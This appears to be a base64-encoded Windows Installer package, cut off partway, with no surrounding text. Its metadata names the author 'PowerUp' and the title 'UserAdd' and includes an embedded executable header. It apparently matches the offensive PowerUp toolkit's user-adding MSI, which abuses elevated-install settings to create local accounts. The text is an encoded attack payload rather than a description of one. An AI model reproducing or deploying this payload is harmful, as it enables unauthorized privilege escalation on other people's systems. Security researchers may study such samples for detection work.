AAAAAAAABASBtCKkP2RTVHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAQcAAAALAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAAAA8AAAAAAAAAEBIPzvyQzhEsUUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASwAAAKACAAAAAAAAQEg/P3dFbERqPrJEL0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtAAAASAQAAAAAAABASD8/d0VsRGo75EUkSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAQkAAAAXAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAPIAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWwAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////BiEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAP7/////////CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAD+/////v////7////+////MwAAAP7////+/////v////7////+////OgAAADUAAAA2AAAA/v////7////+/////v///zsAAAA9AAAA/v///z4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAAD+////TAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAAVQAAAP7////+////WAAAAP7////+/////v///1wAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAKgBAAAOAAAAAQAAAHgAAAACAAAAkAEAAAMAAACAAQAABAAAAHABAAAFAAAAgAAAAAYAAAAoAQAABwAAAJQAAAAJAAAAqAAAAAwAAADYAAAADQAAAOQAAAAOAAAA8AAAAA8AAAD4AAAAEgAAAAgBAAATAAAAAAEAAAIAAADkBAAAHgAAAAoAAABJbnN0YWxsZXIAAAAeAAAACwAAAEludGVsOzEwMzMAAB4AAAAnAAAAe0EwNDlFMzFGLTc3MDEtNEM0QS1BQ0JDLUIyNjBFQjA4QkI0Q30AAEAAAAAALfR1QTjPAUAAAAAALfR1QTjPAQMAAADIAAAAAwAAAAIAAAADAAAAAgAAAB4AAAAXAAAATVNJIFdyYXBwZXIgKDQuMS41NC4wKQAAHgAAAEAAAABJbnN0YWxsZXIgd3JhcHBlZCBieSBNU0kgV3JhcHBlciAoNC4xLjU0LjApIGZyb20gd3d3LmV4ZW1zaS5jb20AHgAAAAgAAABQb3dlclVwAB4AAAAIAAAAVXNlckFkZAAeAAAAEAAAAFVzZXJBZGQgMS4wLjAuMABBOM8BAwAAAMgAAAADAAAAAgAAAB4AAAArAAAAV2luZG93cyBJbnN0YWxsZXIgWE1MIFRvb2xzZXQgKDMuOC4xMTI4LjApAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABgAGAAYABgAGAAYABgAGAAYACgAKACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAACAAUACwAMAA0ADgAPABAAEQASAAcACQAjACUAJwAjACUAJwAjACUAJw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5rQ29sdW1uIHRvIHdoaWNoIGZvcmVpZ24ga2V5IGNvbm5lY3RzVGV4dDtGb3JtYXR0ZWQ7VGVtcGxhdGU7Q29uZGl0aW9uO0d1aWQ7UGF0aDtWZXJzaW9uO0xhbmd1YWdlO0lkZW50aWZpZXI7QmluYXJ5O1VwcGVyQ2FzZTtMb3dlckNhc2U7RmlsZW5hbWU7UGF0aHM7QW55UGF0aDtXaWxkQ2FyZEZpbGVuYW1lO1JlZ1BhdGg7Q3VzdG9tU291cmNlO1Byb3BlcnR5O0NhYmluZXQ7U2hvcnRjdXQ7Rm9ybWF0dGVkU0RETFRleHQ7SW50ZWdlcjtEb3VibGVJbnRlZ2VyO1RpbWVEYXRlO0RlZmF1bHREaXJTdHJpbmcgY2F0ZWdvcnlUZXh0U2V0IG9mIHZhbHVlcyB0aGF0IGFyZSBwZXJtaXR0ZWREZXNjcmlwdGlvbiBvZiBjb2x1bW5BZG1pbkV4ZWN1dGVTZXF1ZW5jZUFjdGlvbk5hbWUgb2YgYWN0aW9uIHRvIGludm9rZSwgZWl0aGVyIGluIHRoZSBlbmdpbmUgb3IgdGhlIGhhbmRsZXIgRExMLkNvbmRpdGlvbk9wdGlvbmFsIGV4cHJlc3Npb24gd2hpY2ggc2tpcHMgdGhlIGFjdGlvbiBpZiBldmFsdWF0ZXMgdG8gZXhwRmFsc2UuSWYgdGhlIGV4cHJlc3Npb24gc3ludGF4IGlzIGludmFsaWQsIHRoZSBlbmdpbmUgd2lsbCB0ZXJtaW5hdGUsIHJldHVybmluZyBpZXNCYWRBY3Rpb25EYXRhLlNlcXVlbmNlTnVtYmVyIHRoYXQgZGV0ZXJtaW5lcyB0aGUgc29ydCBvcmRlciBpbiB3aGljaCB0aGUgYWN0aW9ucyBhcmUgdG8gYmUgZXhlY3V0ZWQuICBMZWF2ZSBibGFuayB0byBzdXBwcmVzcyBhY3Rpb24uQWRtaW5VSVNlcXVlbmNlQWR2dEV4ZWN1dGVTZXF1ZW5jZUJpbmFyeVVuaXF1ZSBrZXkgaWRlbnRpZnlpbmcgdGhlIGJpbmFyeSBkYXRhLkRhdGFUaGUgdW5mb3JtYXR0ZWQgYmluYXJ5IGRhdGEuQ29tcG9uZW50UHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgY29tcG9uZW50IHJlY29yZC5Db21wb25lbnRJZEd1aWRBIHN0cmluZyBHVUlEIHVuaXF1ZSB0byB0aGlzIGNvbXBvbmVudCwgdmVyc2lvbiwgYW5kIGxhbmd1YWdlLkRpcmVjdG9yeV9EaXJlY3RvcnlSZXF1aXJlZCBrZXkgb2YgYSBEaXJlY3RvcnkgdGFibGUgcmVjb3JkLiBUaGlzIGlzIGFjdHVhbGx5IGEgcHJvcGVydHkgbmFtZSB3aG9zZSB2YWx1ZSBjb250YWlucyB0aGUgYWN0dWFsIHBhdGgsIHNldCBlaXRoZXIgYnkgdGhlIEFwcFNlYXJjaCBhY3Rpb24gb3Igd2l0aCB0aGUgZGVmYXVsdCBzZXR0aW5nIG9idGFpbmVkIGZyb20gdGhlIERpcmVjdG9yeSB0YWJsZS5BdHRyaWJ1dGVzUmVtb3RlIGV4ZWN1dGlvbiBvcHRpb24sIG9uZSBvZiBpcnNFbnVtQSBjb25kaXRpb25hbCBzdGF0ZW1lbnQgdGhhdCB3aWxsIGRpc2FibGUgdGhpcyBjb21wb25lbnQgaWYgdGhlIHNwZWNpZmllZCBjb25kaXRpb24gZXZhbHVhdGVzIHRvIHRoZSAnVHJ1ZScgc3RhdGUuIElmIGEgY29tcG9uZW50IGlzIGRpc2FibGVkLCBpdCB3aWxsIG5vdCBiZSBpbnN0YWxsZWQsIHJlZ2FyZGxlc3Mgb2YgdGhlICdBY3Rpb24nIHN0YXRlIGFzc29jaWF0ZWQgd2l0aCB0aGUgY29tcG9uZW50LktleVBhdGhGaWxlO1JlZ2lzdHJ5O09EQkNEYXRhU291cmNlRWl0aGVyIHRoZSBwcmltYXJ5IGtleSBpbnRvIHRoZSBGaWxlIHRhYmxlLCBSZWdpc3RyeSB0YWJsZSwgb3IgT0RCQ0RhdGFTb3VyY2UgdGFibGUuIFRoaXMgZXh0cmFjdCBwYXRoIGlzIHN0b3JlZCB3aGVuIHRoZSBjb21wb25lbnQgaXMgaW5zdGFsbGVkLCBhbmQgaXMgdXNlZCB0byBkZXRlY3QgdGhlIHByZXNlbmNlIG9mIHRoZSBjb21wb25lbnQgYW5kIHRvIHJldHVybiB0aGUgcGF0aCB0byBpdC5DdXN0b21BY3Rpb25QcmltYXJ5IGtleSwgbmFtZSBvZiBhY3Rpb24sIG5vcm1hbGx5IGFwcGVhcnMgaW4gc2VxdWVuY2UgdGFibGUgdW5sZXNzIHByaXZhdGUgdXNlLlRoZSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSwgY29uc2lzdGluZyBvZiBzb3VyY2UgbG9jYXRpb24sIGNvZGUgdHlwZSwgZW50cnksIG9wdGlvbiBmbGFncy5Tb3VyY2VDdXN0b21Tb3VyY2VUaGUgdGFibGUgcmVmZXJlbmNlIG9mIHRoZSBzb3VyY2Ugb2YgdGhlIGNvZGUuVGFyZ2V0Rm9ybWF0dGVkRXhjZWN1dGlvbiBwYXJhbWV0ZXIsIGRlcGVuZHMgb24gdGhlIHR5cGUgb2YgY3VzdG9tIGFjdGlvbkV4dGVuZGVkVHlwZUEgbnVtZXJpYyBjdXN0b20gYWN0aW9uIHR5cGUgdGhhdCBleHRlbmRzIGNvZGUgdHlwZSBvciBvcHRpb24gZmxhZ3Mgb2YgdGhlIFR5cGUgY29sdW1uLlVuaXF1ZSBpZGVudGlmaWVyIGZvciBkaXJlY3RvcnkgZW50cnksIHByaW1hcnkga2V5LiBJZiBhIHByb3BlcnR5IGJ5IHRoaXMgbmFtZSBpcyBkZWZpbmVkLCBpdCBjb250YWlucyB0aGUgZnVsbCBwYXRoIHRvIHRoZSBkaXJlY3RvcnkuRGlyZWN0b3J5X1BhcmVudFJlZmVyZW5jZSB0byB0aGUgZW50cnkgaW4gdGhpcyB0YWJsZSBzcGVjaWZ5aW5nIHRoZSBkZWZhdWx0IHBhcmVudCBkaXJlY3RvcnkuIEEgcmVjb3JkIHBhcmVudGVkIHRvIGl0c2VsZiBvciB3aXRoIGEgTnVsbCBwYXJlbnQgcmVwcmVzZW50cyBhIHJvb3Qgb2YgdGhlIGluc3RhbGwgdHJlZS5EZWZhdWx0RGlyVGhlIGRlZmF1bHQgc3ViLXBhdGggdW5kZXIgcGFyZW50J3MgcGF0aC5GZWF0dXJlUHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgZmVhdHVyZSByZWNvcmQuRmVhdHVyZV9QYXJlbnRPcHRpb25hbCBrZXkgb2YgYSBwYXJlbnQgcmVjb3JkIGluIHRoZSBzYW1lIHRhYmxlLiBJZiB0aGUgcGFyZW50IGlzIG5vdCBzZWxlY3RlZCwgdGhlbiB0aGUgcmVjb3JkIHdpbGwgbm90IGJlIGluc3RhbGxlZC4gTnVsbCBpbmRpY2F0ZXMgYSByb290IGl0ZW0uVGl0bGVTaG9ydCB0ZXh0IGlkZW50aWZ5aW5nIGEgdmlzaWJsZSBmZWF0dXJlIGl0ZW0uTG9uZ2VyIGRlc2NyaXB0aXZlIHRleHQgZGVzY3JpYmluZyBhIHZpc2libGUgZmVhdHVyZSBpdGVtLkRpc3BsYXlOdW1lcmljIHNvcnQgb3JkZXIsIHVzZWQgdG8gZm9yY2UgYSBzcGVjaWZpYyBkaXNwbGF5IG9yZGVyaW5nLkxldmVsVGhlIGluc3RhbGwgbGV2ZWwgYXQgd2hpY2ggcmVjb3JkIHdpbGwgYmUgaW5pdGlhbGx5IHNlbGVjdGVkLiBBbiBpbnN0YWxsIGxldmVsIG9mIDAgd2lsbCBkaXNhYmxlIGFuIGl0ZW0gYW5kIHByZXZlbnQgaXRzIGRpc3BsYXkuVXBwZXJDYXNlVGhlIG5hbWUgb2YgdGhlIERpcmVjdG9yeSB0aGF0IGNhbiBiZSBjb25maWd1cmVkIGJ5IHRoZSBVSS4gQSBub24tbnVsbCB2YWx1ZSB3aWxsIGVuYWJsZSB0aGUgYnJvd3NlIGJ1dHRvbi4wOzE7Mjs0OzU7Njs4Ozk7MTA7MTY7MTc7MTg7MjA7MjE7MjI7MjQ7MjU7MjY7MzI7MzM7MzQ7MzY7Mzc7Mzg7NDg7NDk7NTA7NTI7NTM7NTRGZWF0dXJlIGF0dHJpYnV0ZXNGZWF0dXJlQ29tcG9uZW50c0ZlYXR1cmVfRm9yZWlnbiBrZXkgaW50byBGZWF0dXJlIHRhYmxlLkNvbXBvbmVudF9Gb3JlaWduIGtleSBpbnRvIENvbXBvbmVudCB0YWJsZS5GaWxlUHJpbWFyeSBrZXksIG5vbi1sb2NhbGl6ZWQgdG9rZW4sIG11c3QgbWF0Y2ggaWRlbnRpZmllciBpbiBjYWJpbmV0LiAgRm9yIHVuY29tcHJlc3NlZCBmaWxlcywgdGhpcyBmaWVsZCBpcyBpZ25vcmVkLkZvcmVpZ24ga2V5IHJlZmVyZW5jaW5nIENvbXBvbmVudCB0aGF0IGNvbnRyb2xzIHRoZSBmaWxlLkZpbGVOYW1lRmlsZW5hbWVGaWxlIG5hbWUgdXNlZCBmb3IgaW5zdGFsbGF0aW9uLCBtYXkgYmUgbG9jYWxpemVkLiAgVGhpcyBtYXkgY29udGFpbiBhICJzaG9ydCBuYW1lfGxvbmcgbmFtZSIgcGFpci5GaWxlU2l6ZVNpemUgb2YgZmlsZSBpbiBieXRlcyAobG9uZyBpbnRlZ2VyKS5WZXJzaW9uVmVyc2lvbiBzdHJpbmcgZm9yIHZlcnNpb25lZCBmaWxlczsgIEJsYW5rIGZvciB1bnZlcnNpb25lZCBmaWxlcy5MYW5ndWFnZUxpc3Qgb2YgZGVjaW1hbCBsYW5ndWFnZSBJZHMsIGNvbW1hLXNlcGFyYXRlZCBpZiBtb3JlIHRoYW4gb25lLkludGVnZXIgY29udGFpbmluZyBiaXQgZmxhZ3MgcmVwcmVzZW50aW5nIGZpbGUgYXR0cmlidXRlcyAod2l0aCB0aGUgZGVjaW1hbCB2YWx1ZSBvZiBlYWNoIGJpdCBwb3NpdGlvbiBpbiBwYXJlbnRoZXNlcylTZXF1ZW5jZSB3aXRoIHJlc3BlY3QgdG8gdGhlIG1lZGlhIGltYWdlczsgb3JkZXIgbXVzdCB0cmFjayBjYWJpbmV0IG9yZGVyLkljb25QcmltYXJ5IGtleS4gTmFtZSBvZiB0aGUgaWNvbiBmaWxlLkJpbmFyeSBzdHJlYW0uIFRoZSBiaW5hcnkgaWNvbiBkYXRhIGluIFBFICguRExMIG9yIC5FWEUpIG9yIGljb24gKC5JQ08pIGZvcm1hdC5JbnN0YWxsRXhlY3V0ZVNlcXVlbmNlSW5zdGFsbFVJU2VxdWVuY2VMYXVuY2hDb25kaXRpb25FeHByZXNzaW9uIHdoaWNoIG11c3QgZXZhbHVhdGUgdG8gVFJVRSBpbiBvcmRlciBmb3IgaW5zdGFsbCB0byBjb21tZW5jZS5Mb2NhbGl6YWJsZSB0ZXh0IHRvIGRpc3BsYXkgd2hlbiBjb25kaXRpb24gZmFpbHMgYW5kIGluc3RhbGwgbXVzdCBhYm9ydC5NZWRpYURpc2tJZFByaW1hcnkga2V5LCBpbnRlZ2VyIHRvIGRldGVybWluZSBzb3J0IG9yZGVyIGZvciB0YWJsZS5MYXN0U2VxdWVuY2VGaWxlIHNlcXVlbmNlIG51bWJlciBmb3IgdGhlIGxhc3QgZmlsZSBmb3IgdGhpcyBtZWRpYS5EaXNrUHJvbXB0RGlzayBuYW1lOiB0aGUgdmlzaWJsZSB0ZXh0IGFjdHVhbGx5IHByaW50ZWQgb24gdGhlIGRpc2suICBUaGlzIHdpbGwgYmUgdXNlZCB0byBwcm9tcHQgdGhlIHVzZXIgd2hlbiB0aGlzIGRpc2sg